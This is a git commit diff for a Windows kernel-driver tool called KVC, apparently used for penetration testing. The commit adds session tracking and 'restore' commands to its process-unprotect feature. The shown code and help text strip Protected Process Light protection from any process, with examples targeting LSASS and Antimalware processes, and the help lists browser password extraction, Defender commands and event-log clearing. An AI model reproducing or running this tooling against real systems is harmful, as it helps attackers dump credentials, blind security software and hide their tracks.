Aktualizacja: 2025-10-02 01:08:10
This commit is contained in:
@@ -1,5 +1,6 @@
|
||||
#pragma once
|
||||
|
||||
#include "SessionManager.h"
|
||||
#include "kvcDrv.h"
|
||||
#include "OffsetFinder.h"
|
||||
#include "TrustedInstallerIntegrator.h"
|
||||
@@ -107,6 +108,14 @@ public:
|
||||
bool UnprotectBySigner(const std::wstring& signerName) noexcept;
|
||||
bool ListProcessesBySigner(const std::wstring& signerName) noexcept;
|
||||
|
||||
// Session state restoration
|
||||
bool RestoreProtectionBySigner(const std::wstring& signerName) noexcept;
|
||||
bool RestoreAllProtection() noexcept;
|
||||
void ShowSessionHistory() noexcept;
|
||||
|
||||
bool SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept;
|
||||
SessionManager m_sessionMgr;
|
||||
|
||||
bool UnprotectAllProcesses() noexcept;
|
||||
bool UnprotectMultipleProcesses(const std::vector<std::wstring>& targets) noexcept;
|
||||
|
||||
@@ -227,7 +236,6 @@ private:
|
||||
|
||||
// Internal kernel process management (implementation details)
|
||||
std::optional<ULONG_PTR> GetInitialSystemProcessAddress() noexcept;
|
||||
bool SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept;
|
||||
|
||||
// Process pattern matching with regex support
|
||||
std::vector<ProcessMatch> FindProcessesByName(const std::wstring& pattern) noexcept;
|
||||
|
||||
@@ -847,107 +847,121 @@ bool Controller::SetProcessProtection(DWORD pid, const std::wstring& protectionL
|
||||
// MASS PROTECTION OPERATIONS
|
||||
// ============================================================================
|
||||
|
||||
bool Controller::UnprotectAllProcesses() noexcept {
|
||||
bool Controller::UnprotectAllProcesses() noexcept
|
||||
{
|
||||
if (!BeginDriverSession()) {
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
auto processes = GetProcessList();
|
||||
DWORD totalCount = 0;
|
||||
DWORD successCount = 0;
|
||||
|
||||
INFO(L"Starting mass unprotection of all protected processes...");
|
||||
// Group processes by signer type
|
||||
std::unordered_map<std::wstring, std::vector<ProcessEntry>> groupedProcesses;
|
||||
|
||||
for (const auto& entry : processes) {
|
||||
if (entry.ProtectionLevel > 0) {
|
||||
totalCount++;
|
||||
|
||||
if (SetProcessProtection(entry.KernelAddress, 0)) {
|
||||
successCount++;
|
||||
SUCCESS(L"Removed protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
|
||||
} else {
|
||||
ERROR(L"Failed to remove protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
|
||||
}
|
||||
|
||||
if (g_interrupted) {
|
||||
INFO(L"Mass unprotection interrupted by user");
|
||||
break;
|
||||
}
|
||||
for (const auto& entry : processes)
|
||||
{
|
||||
if (entry.ProtectionLevel > 0)
|
||||
{
|
||||
std::wstring signerName = Utils::GetSignerTypeAsString(entry.SignerType);
|
||||
groupedProcesses[signerName].push_back(entry);
|
||||
}
|
||||
}
|
||||
|
||||
if (totalCount == 0) {
|
||||
if (groupedProcesses.empty())
|
||||
{
|
||||
INFO(L"No protected processes found");
|
||||
} else {
|
||||
INFO(L"Mass unprotection completed: %d/%d processes successfully unprotected", successCount, totalCount);
|
||||
}
|
||||
|
||||
EndDriverSession(true);
|
||||
return successCount == totalCount;
|
||||
}
|
||||
|
||||
bool Controller::UnprotectMultipleProcesses(const std::vector<std::wstring>& targets) noexcept {
|
||||
if (targets.empty()) {
|
||||
ERROR(L"No targets specified for batch unprotection");
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"Starting mass unprotection (%zu signer groups)", groupedProcesses.size());
|
||||
|
||||
DWORD totalSuccess = 0;
|
||||
DWORD totalProcessed = 0;
|
||||
|
||||
// Process each signer group
|
||||
for (const auto& [signerName, processes] : groupedProcesses)
|
||||
{
|
||||
INFO(L"Processing signer group: %s (%zu processes)", signerName.c_str(), processes.size());
|
||||
|
||||
// Save state before modification
|
||||
m_sessionMgr.SaveUnprotectOperation(signerName, processes);
|
||||
|
||||
// Unprotect all in this group
|
||||
for (const auto& entry : processes)
|
||||
{
|
||||
totalProcessed++;
|
||||
|
||||
if (SetProcessProtection(entry.KernelAddress, 0))
|
||||
{
|
||||
totalSuccess++;
|
||||
SUCCESS(L"Removed protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
|
||||
}
|
||||
else
|
||||
{
|
||||
ERROR(L"Failed to remove protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
|
||||
}
|
||||
|
||||
if (g_interrupted)
|
||||
{
|
||||
INFO(L"Mass unprotection interrupted by user");
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
INFO(L"Mass unprotection completed: %d/%d processes successfully unprotected", totalSuccess, totalProcessed);
|
||||
|
||||
EndDriverSession(true);
|
||||
return totalSuccess > 0;
|
||||
}
|
||||
|
||||
// ControllerProcessOperations.cpp
|
||||
// DODAJ tę funkcję (po funkcji UnprotectAllProcesses, przed końcem pliku):
|
||||
|
||||
bool Controller::UnprotectMultipleProcesses(const std::vector<std::wstring>& targets) noexcept
|
||||
{
|
||||
if (targets.empty())
|
||||
return false;
|
||||
|
||||
if (!BeginDriverSession()) {
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD successCount = 0;
|
||||
DWORD totalCount = static_cast<DWORD>(targets.size());
|
||||
|
||||
INFO(L"Starting batch unprotection of %d targets...", totalCount);
|
||||
|
||||
for (const auto& target : targets) {
|
||||
for (const auto& target : targets)
|
||||
{
|
||||
bool result = false;
|
||||
|
||||
// Check if target is numeric (PID)
|
||||
if (Utils::IsNumeric(target)) {
|
||||
auto pid = Utils::ParsePid(target);
|
||||
if (pid) {
|
||||
auto kernelAddr = GetCachedKernelAddress(pid.value());
|
||||
if (kernelAddr) {
|
||||
auto currentProtection = GetProcessProtection(kernelAddr.value());
|
||||
if (currentProtection && currentProtection.value() > 0) {
|
||||
if (SetProcessProtection(kernelAddr.value(), 0)) {
|
||||
SUCCESS(L"Removed protection from PID %d", pid.value());
|
||||
result = true;
|
||||
} else {
|
||||
ERROR(L"Failed to remove protection from PID %d", pid.value());
|
||||
}
|
||||
} else {
|
||||
INFO(L"PID %d is not protected", pid.value());
|
||||
result = true; // Consider this a success
|
||||
bool isNumeric = true;
|
||||
for (wchar_t ch : target)
|
||||
{
|
||||
if (!iswdigit(ch))
|
||||
{
|
||||
isNumeric = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
ERROR(L"Invalid PID format: %s", target.c_str());
|
||||
|
||||
if (isNumeric)
|
||||
{
|
||||
try {
|
||||
DWORD pid = std::stoul(target);
|
||||
result = UnprotectProcess(pid);
|
||||
}
|
||||
} else {
|
||||
// Target is process name
|
||||
auto matches = FindProcessesByName(target);
|
||||
if (matches.size() == 1) {
|
||||
auto match = matches[0];
|
||||
auto currentProtection = GetProcessProtection(match.KernelAddress);
|
||||
if (currentProtection && currentProtection.value() > 0) {
|
||||
if (SetProcessProtection(match.KernelAddress, 0)) {
|
||||
SUCCESS(L"Removed protection from %s (PID %d)", match.ProcessName.c_str(), match.Pid);
|
||||
result = true;
|
||||
} else {
|
||||
ERROR(L"Failed to remove protection from %s (PID %d)", match.ProcessName.c_str(), match.Pid);
|
||||
catch (...) {
|
||||
ERROR(L"Invalid PID: %s", target.c_str());
|
||||
}
|
||||
} else {
|
||||
INFO(L"%s (PID %d) is not protected", match.ProcessName.c_str(), match.Pid);
|
||||
result = true; // Consider this a success
|
||||
}
|
||||
} else {
|
||||
ERROR(L"Could not resolve process name: %s", target.c_str());
|
||||
}
|
||||
else
|
||||
{
|
||||
result = UnprotectProcessByName(target);
|
||||
}
|
||||
|
||||
if (result) successCount++;
|
||||
@@ -973,15 +987,27 @@ bool Controller::UnprotectBySigner(const std::wstring& signerName) noexcept {
|
||||
}
|
||||
|
||||
auto processes = GetProcessList();
|
||||
std::vector<ProcessEntry> affectedProcesses;
|
||||
DWORD totalCount = 0;
|
||||
DWORD successCount = 0;
|
||||
|
||||
INFO(L"Starting batch unprotection of processes signed by: %s", signerName.c_str());
|
||||
|
||||
// Collect processes that will be affected
|
||||
for (const auto& entry : processes) {
|
||||
if (entry.ProtectionLevel > 0 && entry.SignerType == signerType.value()) {
|
||||
affectedProcesses.push_back(entry);
|
||||
totalCount++;
|
||||
}
|
||||
}
|
||||
|
||||
// Save state before modification
|
||||
if (!affectedProcesses.empty()) {
|
||||
m_sessionMgr.SaveUnprotectOperation(signerName, affectedProcesses);
|
||||
}
|
||||
|
||||
// POPRAWIONE: Usunięte błędne zagnieżdżenie
|
||||
for (const auto& entry : affectedProcesses) {
|
||||
if (SetProcessProtection(entry.KernelAddress, 0)) {
|
||||
successCount++;
|
||||
SUCCESS(L"Removed protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
|
||||
@@ -994,13 +1020,13 @@ bool Controller::UnprotectBySigner(const std::wstring& signerName) noexcept {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (totalCount == 0) {
|
||||
INFO(L"No protected processes found with signer: %s", signerName.c_str());
|
||||
} else {
|
||||
INFO(L"Batch unprotection completed: %d/%d processes successfully unprotected", successCount, totalCount);
|
||||
}
|
||||
|
||||
EndDriverSession(true);
|
||||
return successCount > 0;
|
||||
}
|
||||
@@ -1121,3 +1147,35 @@ bool Controller::SetProcessProtectionByName(const std::wstring& processName, con
|
||||
|
||||
return SetProcessProtection(match->Pid, protectionLevel, signerType);
|
||||
}
|
||||
|
||||
// Session state restoration operations
|
||||
bool Controller::RestoreProtectionBySigner(const std::wstring& signerName) noexcept
|
||||
{
|
||||
if (!BeginDriverSession()) {
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool result = m_sessionMgr.RestoreBySigner(signerName, this);
|
||||
|
||||
EndDriverSession(true);
|
||||
return result;
|
||||
}
|
||||
|
||||
bool Controller::RestoreAllProtection() noexcept
|
||||
{
|
||||
if (!BeginDriverSession()) {
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool result = m_sessionMgr.RestoreAll(this);
|
||||
|
||||
EndDriverSession(true);
|
||||
return result;
|
||||
}
|
||||
|
||||
void Controller::ShowSessionHistory() noexcept
|
||||
{
|
||||
m_sessionMgr.ShowHistory();
|
||||
}
|
||||
@@ -38,6 +38,7 @@ void HelpSystem::PrintUsage(std::wstring_view programName) noexcept
|
||||
PrintBasicCommands();
|
||||
PrintProcessTerminationCommands();
|
||||
PrintProtectionCommands();
|
||||
PrintSessionManagement();
|
||||
PrintSystemCommands();
|
||||
PrintBrowserCommands();
|
||||
PrintDefenderCommands();
|
||||
@@ -141,6 +142,10 @@ void HelpSystem::PrintProtectionCommands() noexcept
|
||||
PrintCommandLine(L"unprotect <PID|process_name>", L"Remove protection from specific process");
|
||||
PrintCommandLine(L"unprotect all", L"Remove protection from ALL processes");
|
||||
PrintCommandLine(L"unprotect <PID1,PID2,PID3>", L"Remove protection from multiple processes");
|
||||
PrintCommandLine(L"restore <signer_name>", L"Restore protection for specific signer group");
|
||||
PrintCommandLine(L"restore all", L"Restore all saved protection states");
|
||||
PrintCommandLine(L"history", L"Show saved session history (max 16 sessions)");
|
||||
PrintCommandLine(L"cleanup-sessions", L"Delete all sessions except current");
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
@@ -181,6 +186,18 @@ void HelpSystem::PrintSecurityEngineCommands() noexcept
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintSessionManagement() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Session Management System");
|
||||
std::wcout << L" - Automatic boot detection and session tracking (max 16 sessions)\n";
|
||||
std::wcout << L" - Each 'unprotect' operation saves process states grouped by signer\n";
|
||||
std::wcout << L" - 'restore' commands reapply protection from saved session state\n";
|
||||
std::wcout << L" - Session history persists across reboots until limit reached\n";
|
||||
std::wcout << L" - Oldest sessions auto-deleted when exceeding 16 session limit\n";
|
||||
std::wcout << L" - Manual cleanup available via 'cleanup-sessions' command\n";
|
||||
std::wcout << L" - Status tracking: UNPROTECTED (after unprotect) -> RESTORED (after restore)\n\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintBrowserCommands() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Browser Password Extraction Commands");
|
||||
@@ -330,6 +347,14 @@ void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept
|
||||
printLine(L"unprotect lsass", L"Remove protection from LSASS");
|
||||
printLine(L"unprotect 1,2,3,lsass", L"Batch unprotect multiple targets");
|
||||
|
||||
// Session restoration examples
|
||||
printLine(L"unprotect Antimalware", L"Remove protection from all Antimalware processes");
|
||||
printLine(L"unprotect all", L"Remove protection from ALL processes (grouped by signer)");
|
||||
printLine(L"history", L"Show saved sessions (max 16, with status tracking)");
|
||||
printLine(L"restore Antimalware", L"Restore protection for Antimalware group");
|
||||
printLine(L"restore all", L"Restore all saved protection states from current session");
|
||||
printLine(L"cleanup-sessions", L"Delete all old sessions (keep only current)");
|
||||
|
||||
// Process termination examples
|
||||
printLine(L"kill 1234", L"Terminate process with PID 1234");
|
||||
printLine(L"kill total", L"Terminate Total Commander by name");
|
||||
|
||||
@@ -29,6 +29,7 @@ public:
|
||||
static void PrintTechnicalFeatures() noexcept;
|
||||
static void PrintDefenderNotes() noexcept;
|
||||
static void PrintSecurityEngineCommands() noexcept;
|
||||
static void PrintSessionManagement() noexcept;
|
||||
static void PrintStickyKeysInfo() noexcept;
|
||||
static void PrintUndumpableProcesses() noexcept;
|
||||
static void PrintUsageExamples(std::wstring_view programName) noexcept;
|
||||
|
||||
119
kvc/Kvc.cpp
119
kvc/Kvc.cpp
@@ -204,6 +204,25 @@ int wmain(int argc, wchar_t* argv[])
|
||||
{
|
||||
INFO(L"Uninstalling Kernel Vulnerability Capabilities Framework service...");
|
||||
bool success = ServiceManager::UninstallService();
|
||||
|
||||
// Wyczyść całą konfigurację z rejestru
|
||||
INFO(L"Cleaning up registry configuration...");
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS)
|
||||
{
|
||||
LONG result = RegDeleteTreeW(hKey, L"kvc");
|
||||
if (result == ERROR_SUCCESS) {
|
||||
SUCCESS(L"Registry configuration cleaned successfully");
|
||||
}
|
||||
else if (result == ERROR_FILE_NOT_FOUND) {
|
||||
INFO(L"No registry configuration found to clean");
|
||||
}
|
||||
else {
|
||||
ERROR(L"Failed to clean registry configuration: %d", result);
|
||||
}
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
return success ? 0 : 1;
|
||||
}
|
||||
|
||||
@@ -417,7 +436,9 @@ int wmain(int argc, wchar_t* argv[])
|
||||
// Process information commands with color-coded protection status output
|
||||
else if (command == L"list")
|
||||
{
|
||||
return g_controller->ListProtectedProcesses() ? 0 : 2;
|
||||
// Detect reboot and enforce session limit on first list after boot
|
||||
g_controller->m_sessionMgr.DetectAndHandleReboot();
|
||||
return g_controller->ListProtectedProcesses() ? 0 : 2;;
|
||||
}
|
||||
|
||||
else if (command == L"get")
|
||||
@@ -514,6 +535,7 @@ int wmain(int argc, wchar_t* argv[])
|
||||
return g_controller->ClearSystemEventLogs() ? 0 : 2;
|
||||
}
|
||||
|
||||
// Process protection commands with atomic driver operations
|
||||
// Process protection commands with atomic driver operations
|
||||
else if (command == L"set" || command == L"protect")
|
||||
{
|
||||
@@ -527,6 +549,65 @@ int wmain(int argc, wchar_t* argv[])
|
||||
std::wstring level = argv[3];
|
||||
std::wstring signer = argv[4];
|
||||
|
||||
// Handle comma-separated list of PIDs for batch operations
|
||||
std::wstring targetStr(target);
|
||||
if (targetStr.find(L',') != std::wstring::npos)
|
||||
{
|
||||
std::vector<DWORD> pids;
|
||||
std::wstring current;
|
||||
|
||||
// Parse comma-separated PIDs with whitespace handling
|
||||
for (wchar_t ch : targetStr)
|
||||
{
|
||||
if (ch == L',')
|
||||
{
|
||||
if (!current.empty())
|
||||
{
|
||||
if (IsNumeric(current))
|
||||
{
|
||||
auto pid = ParsePid(current);
|
||||
if (pid) pids.push_back(pid.value());
|
||||
}
|
||||
current.clear();
|
||||
}
|
||||
}
|
||||
else if (ch != L' ' && ch != L'\t')
|
||||
{
|
||||
current += ch;
|
||||
}
|
||||
}
|
||||
|
||||
// Last token
|
||||
if (!current.empty() && IsNumeric(current))
|
||||
{
|
||||
auto pid = ParsePid(current);
|
||||
if (pid) pids.push_back(pid.value());
|
||||
}
|
||||
|
||||
if (pids.empty())
|
||||
{
|
||||
ERROR(L"No valid PIDs found in comma-separated list");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Batch operation
|
||||
INFO(L"Batch %s operation: %zu processes", command.data(), pids.size());
|
||||
int successCount = 0;
|
||||
|
||||
for (DWORD pid : pids)
|
||||
{
|
||||
bool result = (command == L"set") ?
|
||||
g_controller->SetProcessProtection(pid, level, signer) :
|
||||
g_controller->ProtectProcess(pid, level, signer);
|
||||
|
||||
if (result) successCount++;
|
||||
}
|
||||
|
||||
INFO(L"Batch %s completed: %d/%zu processes", command.data(), successCount, pids.size());
|
||||
return successCount == pids.size() ? 0 : 2;
|
||||
}
|
||||
|
||||
// Single target (PID or name)
|
||||
bool result = false;
|
||||
|
||||
if (IsNumeric(target))
|
||||
@@ -624,6 +705,42 @@ int wmain(int argc, wchar_t* argv[])
|
||||
}
|
||||
}
|
||||
|
||||
// Restore process protection from saved session state
|
||||
else if (command == L"restore")
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
ERROR(L"Missing argument: <signer_name|all>");
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::wstring_view target = argv[2];
|
||||
|
||||
if (target == L"all")
|
||||
{
|
||||
return g_controller->RestoreAllProtection() ? 0 : 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
std::wstring signerName(target);
|
||||
return g_controller->RestoreProtectionBySigner(signerName) ? 0 : 2;
|
||||
}
|
||||
}
|
||||
|
||||
// Display session history
|
||||
else if (command == L"history")
|
||||
{
|
||||
g_controller->ShowSessionHistory();
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Cleanup all sessions except current
|
||||
else if (command == L"cleanup-sessions")
|
||||
{
|
||||
g_controller->m_sessionMgr.CleanupAllSessionsExceptCurrent();
|
||||
return 0;
|
||||
}
|
||||
|
||||
else if (command == L"list-signer") {
|
||||
if (argc < 3) {
|
||||
ERROR(L"Missing signer type argument");
|
||||
|
||||
@@ -121,6 +121,7 @@
|
||||
<ClCompile Include="Utils.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="ReportExporter.cpp" />
|
||||
<ClCompile Include="SessionManager.cpp" />
|
||||
<ClCompile Include="ServiceManager.cpp" />
|
||||
<ClCompile Include="DefenderManager.cpp" />
|
||||
<ClCompile Include="KeyboardHook.cpp" />
|
||||
@@ -137,6 +138,7 @@
|
||||
<ClInclude Include="kvcDrv.h" />
|
||||
<ClInclude Include="Utils.h" />
|
||||
<ClInclude Include="ReportExporter.h" />
|
||||
<ClCompile Include="SessionManager.h" />
|
||||
<ClInclude Include="ServiceManager.h" />
|
||||
<ClInclude Include="KeyboardHook.h" />
|
||||
<ClInclude Include="HelpSystem.h" />
|
||||
|
||||
876
kvc/SessionManager.cpp
Normal file
876
kvc/SessionManager.cpp
Normal file
@@ -0,0 +1,876 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// SessionManager.cpp
|
||||
#include "SessionManager.h"
|
||||
#include "Controller.h"
|
||||
#include "Utils.h"
|
||||
#include <algorithm>
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
|
||||
// Static cache cleared on reboot detection
|
||||
static std::wstring g_cachedBootSession;
|
||||
|
||||
// Calculate current boot time as unique session ID
|
||||
std::wstring SessionManager::CalculateBootTime() noexcept
|
||||
{
|
||||
FILETIME ftNow;
|
||||
GetSystemTimeAsFileTime(&ftNow);
|
||||
ULONGLONG currentTime = (static_cast<ULONGLONG>(ftNow.dwHighDateTime) << 32) | ftNow.dwLowDateTime;
|
||||
ULONGLONG tickCount = GetTickCount64();
|
||||
ULONGLONG bootTime = currentTime - (tickCount * 10000ULL);
|
||||
|
||||
std::wostringstream oss;
|
||||
oss << bootTime;
|
||||
return oss.str();
|
||||
}
|
||||
|
||||
ULONGLONG SessionManager::GetLastBootIdFromRegistry() noexcept
|
||||
{
|
||||
std::wstring basePath = GetRegistryBasePath();
|
||||
HKEY hKey;
|
||||
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||
return 0;
|
||||
|
||||
ULONGLONG lastBootId = 0;
|
||||
DWORD dataSize = sizeof(ULONGLONG);
|
||||
RegQueryValueExW(hKey, L"LastBootId", nullptr, nullptr, reinterpret_cast<BYTE*>(&lastBootId), &dataSize);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return lastBootId;
|
||||
}
|
||||
|
||||
void SessionManager::SaveLastBootId(ULONGLONG bootId) noexcept
|
||||
{
|
||||
std::wstring basePath = GetRegistryBasePath();
|
||||
HKEY hKey = OpenOrCreateKey(basePath);
|
||||
|
||||
if (hKey)
|
||||
{
|
||||
RegSetValueExW(hKey, L"LastBootId", 0, REG_QWORD, reinterpret_cast<const BYTE*>(&bootId), sizeof(ULONGLONG));
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
}
|
||||
|
||||
ULONGLONG SessionManager::GetLastTickCountFromRegistry() noexcept
|
||||
{
|
||||
std::wstring basePath = GetRegistryBasePath();
|
||||
HKEY hKey;
|
||||
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||
return 0;
|
||||
|
||||
ULONGLONG lastTickCount = 0;
|
||||
DWORD dataSize = sizeof(ULONGLONG);
|
||||
RegQueryValueExW(hKey, L"LastTickCount", nullptr, nullptr, reinterpret_cast<BYTE*>(&lastTickCount), &dataSize);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return lastTickCount;
|
||||
}
|
||||
|
||||
void SessionManager::SaveLastTickCount(ULONGLONG tickCount) noexcept
|
||||
{
|
||||
std::wstring basePath = GetRegistryBasePath();
|
||||
HKEY hKey = OpenOrCreateKey(basePath);
|
||||
|
||||
if (hKey)
|
||||
{
|
||||
RegSetValueExW(hKey, L"LastTickCount", 0, REG_QWORD, reinterpret_cast<const BYTE*>(&tickCount), sizeof(ULONGLONG));
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
}
|
||||
|
||||
std::wstring SessionManager::GetCurrentBootSession() noexcept
|
||||
{
|
||||
if (!g_cachedBootSession.empty())
|
||||
return g_cachedBootSession;
|
||||
|
||||
ULONGLONG lastBootId = GetLastBootIdFromRegistry();
|
||||
|
||||
if (lastBootId == 0)
|
||||
{
|
||||
// First run ever - calculate and save
|
||||
std::wstring calculatedSession = CalculateBootTime();
|
||||
ULONGLONG calculatedBootId = std::stoull(calculatedSession);
|
||||
SaveLastBootId(calculatedBootId);
|
||||
g_cachedBootSession = calculatedSession;
|
||||
return g_cachedBootSession;
|
||||
}
|
||||
|
||||
// Use LastBootId from registry as session ID
|
||||
std::wostringstream oss;
|
||||
oss << lastBootId;
|
||||
g_cachedBootSession = oss.str();
|
||||
|
||||
return g_cachedBootSession;
|
||||
}
|
||||
|
||||
void SessionManager::DetectAndHandleReboot() noexcept
|
||||
{
|
||||
ULONGLONG currentTick = GetTickCount64();
|
||||
ULONGLONG lastTick = GetLastTickCountFromRegistry();
|
||||
ULONGLONG lastBootId = GetLastBootIdFromRegistry();
|
||||
|
||||
if (lastBootId == 0)
|
||||
{
|
||||
// First run ever
|
||||
std::wstring calculatedSession = CalculateBootTime();
|
||||
ULONGLONG calculatedBootId = std::stoull(calculatedSession);
|
||||
SaveLastBootId(calculatedBootId);
|
||||
SaveLastTickCount(currentTick);
|
||||
g_cachedBootSession = calculatedSession;
|
||||
return;
|
||||
}
|
||||
|
||||
// Detect reboot: tickCount decreased
|
||||
if (currentTick < lastTick)
|
||||
{
|
||||
// New boot detected
|
||||
std::wstring calculatedSession = CalculateBootTime();
|
||||
ULONGLONG calculatedBootId = std::stoull(calculatedSession);
|
||||
SaveLastBootId(calculatedBootId);
|
||||
SaveLastTickCount(currentTick);
|
||||
g_cachedBootSession = calculatedSession;
|
||||
|
||||
// Enforce session limit
|
||||
EnforceSessionLimit(MAX_SESSIONS);
|
||||
}
|
||||
else
|
||||
{
|
||||
// Same boot - use LastBootId as session ID
|
||||
SaveLastTickCount(currentTick);
|
||||
std::wostringstream oss;
|
||||
oss << lastBootId;
|
||||
g_cachedBootSession = oss.str();
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<std::wstring> SessionManager::GetAllSessionIds() noexcept
|
||||
{
|
||||
std::vector<std::wstring> sessionIds;
|
||||
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
|
||||
|
||||
HKEY hSessions;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hSessions) != ERROR_SUCCESS)
|
||||
return sessionIds;
|
||||
|
||||
DWORD index = 0;
|
||||
wchar_t sessionName[256];
|
||||
DWORD sessionNameSize;
|
||||
|
||||
while (true)
|
||||
{
|
||||
sessionNameSize = 256;
|
||||
if (RegEnumKeyExW(hSessions, index, sessionName, &sessionNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
sessionIds.push_back(sessionName);
|
||||
index++;
|
||||
}
|
||||
|
||||
RegCloseKey(hSessions);
|
||||
return sessionIds;
|
||||
}
|
||||
|
||||
void SessionManager::EnforceSessionLimit(int maxSessions) noexcept
|
||||
{
|
||||
auto sessions = GetAllSessionIds();
|
||||
|
||||
if (static_cast<int>(sessions.size()) <= maxSessions)
|
||||
return;
|
||||
|
||||
// Sort sessions by ID (oldest first)
|
||||
std::sort(sessions.begin(), sessions.end(), [](const std::wstring& a, const std::wstring& b) {
|
||||
try {
|
||||
return std::stoull(a) < std::stoull(b);
|
||||
} catch (...) {
|
||||
return a < b;
|
||||
}
|
||||
});
|
||||
|
||||
std::wstring currentSession = GetCurrentBootSession();
|
||||
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
|
||||
|
||||
HKEY hSessions;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_WRITE, &hSessions) != ERROR_SUCCESS)
|
||||
return;
|
||||
|
||||
int toDelete = static_cast<int>(sessions.size()) - maxSessions;
|
||||
int deleted = 0;
|
||||
|
||||
for (const auto& sessionId : sessions)
|
||||
{
|
||||
if (deleted >= toDelete)
|
||||
break;
|
||||
|
||||
if (sessionId != currentSession)
|
||||
{
|
||||
DeleteKeyRecursive(hSessions, sessionId);
|
||||
DEBUG(L"Deleted old session: %s", sessionId.c_str());
|
||||
deleted++;
|
||||
}
|
||||
}
|
||||
|
||||
RegCloseKey(hSessions);
|
||||
|
||||
if (deleted > 0)
|
||||
{
|
||||
INFO(L"Enforced session limit: deleted %d old sessions", deleted);
|
||||
}
|
||||
}
|
||||
|
||||
void SessionManager::CleanupAllSessionsExceptCurrent() noexcept
|
||||
{
|
||||
std::wstring currentSession = GetCurrentBootSession();
|
||||
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
|
||||
|
||||
HKEY hSessions;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ | KEY_WRITE, &hSessions) != ERROR_SUCCESS)
|
||||
{
|
||||
INFO(L"No sessions to cleanup");
|
||||
return;
|
||||
}
|
||||
|
||||
DWORD index = 0;
|
||||
wchar_t subKeyName[256];
|
||||
DWORD subKeyNameSize;
|
||||
std::vector<std::wstring> keysToDelete;
|
||||
|
||||
while (true)
|
||||
{
|
||||
subKeyNameSize = 256;
|
||||
if (RegEnumKeyExW(hSessions, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
std::wstring keyName = subKeyName;
|
||||
if (keyName != currentSession)
|
||||
keysToDelete.push_back(keyName);
|
||||
|
||||
index++;
|
||||
}
|
||||
|
||||
for (const auto& key : keysToDelete)
|
||||
{
|
||||
DeleteKeyRecursive(hSessions, key);
|
||||
}
|
||||
|
||||
RegCloseKey(hSessions);
|
||||
|
||||
if (!keysToDelete.empty())
|
||||
{
|
||||
